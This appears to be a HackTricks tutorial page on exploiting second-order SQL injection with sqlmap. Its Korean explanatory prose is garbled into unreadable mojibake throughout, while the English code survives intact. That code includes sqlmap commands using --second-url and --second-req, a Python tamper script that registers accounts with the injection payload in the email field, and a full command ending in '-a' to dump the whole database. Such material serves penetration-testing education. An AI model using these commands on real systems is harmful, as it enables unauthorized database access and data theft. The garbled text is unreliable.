Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SQLMap์ 2์ฐจ SQL ์ธ์ ์
์ ์ด์ฉํ ์ ์์ต๋๋ค.
๋ค์ ์ ๋ณด๋ฅผ ์ ๊ณตํด์ผ ํฉ๋๋ค:
- SQL ์ธ์ ์ ํ์ด๋ก๋๊ฐ ์ ์ฅ๋ ์์ฒญ
- ํ์ด๋ก๋๊ฐ ์คํ๋ ์์ฒญ
SQL ์ธ์ ์
ํ์ด๋ก๋๊ฐ ์ ์ฅ๋๋ ์์ฒญ์ sqlmap์ ๋ค๋ฅธ ์ธ์ ์
๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก ํ์๋ฉ๋๋ค. SQL ์ธ์ ์
์ ์ถ๋ ฅ/์คํ์ sqlmap์ด ์ฝ์ ์ ์๋ ์์ฒญ์ --second-url ๋๋ ํ์ผ์์ ์ ์ฒด ์์ฒญ์ ์ง์ ํด์ผ ํ๋ ๊ฒฝ์ฐ --second-req๋ก ํ์ํ ์ ์์ต๋๋ค.
๊ฐ๋จํ 2์ฐจ ์์:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
์ฌ๋ฌ ๊ฒฝ์ฐ์ ์ด๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ์ง ์์ ๊ฒ์ ๋๋ค. ์๋ํ๋ฉด ํ์ด๋ก๋๋ฅผ ์ ์กํ๊ณ ๋ค๋ฅธ ํ์ด์ง์ ์ ๊ทผํ๋ ๊ฒ ์ธ์ ๋ค๋ฅธ ์์ ์ ์ํํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ด๊ฒ์ด ํ์ํ ๋ sqlmap tamper๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ค์ ์คํฌ๋ฆฝํธ๋ sqlmap ํ์ด๋ก๋๋ฅผ ์ด๋ฉ์ผ๋ก ์ฌ์ฉํ์ฌ ์ ์ฌ์ฉ์๋ฅผ ๋ฑ๋กํ๊ณ ๋ก๊ทธ์์ํฉ๋๋ค.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
A SQLMap tamper๋ ํ์ด๋ก๋๋ก ์ธ์ ์ ์๋๋ฅผ ์์ํ๊ธฐ ์ ์ ํญ์ ์คํ๋ฉ๋๋ค ๊ทธ๋ฆฌ๊ณ ํ์ด๋ก๋๋ฅผ ๋ฐํํด์ผ ํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ์ฐ๋ฆฌ๋ ํ์ด๋ก๋์ ์ ๊ฒฝ ์ฐ์ง ์์ง๋ง, ๋ช ๊ฐ์ง ์์ฒญ์ ๋ณด๋ด๋ ๊ฒ์ ์ ๊ฒฝ ์ฐ๋ฏ๋ก ํ์ด๋ก๋๋ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค.
๋ฐ๋ผ์, ์ด๋ค ์ด์ ๋ก ์ธํด ๋ ๋ฒ์งธ SQL ์ธ์ ์ ์ ์ ์ฉํ๊ธฐ ์ํด ๋ ๋ณต์กํ ํ๋ฆ์ด ํ์ํ๋ค๋ฉด:
- โ์ด๋ฉ์ผโ ํ๋์ SQLi ํ์ด๋ก๋๊ฐ ํฌํจ๋ ๊ณ์ ์ ์์ฑํฉ๋๋ค.
- ๋ก๊ทธ์์ํฉ๋๋ค.
- ํด๋น ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํฉ๋๋ค (login.txt).
- SQL ์ธ์ ์ ์ ์คํํ๊ธฐ ์ํด ์์ฒญ์ ๋ณด๋ ๋๋ค (second.txt).
์ด sqlmap ๋ช ๋ น์ด๊ฐ ๋์์ด ๋ ๊ฒ์ ๋๋ค:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


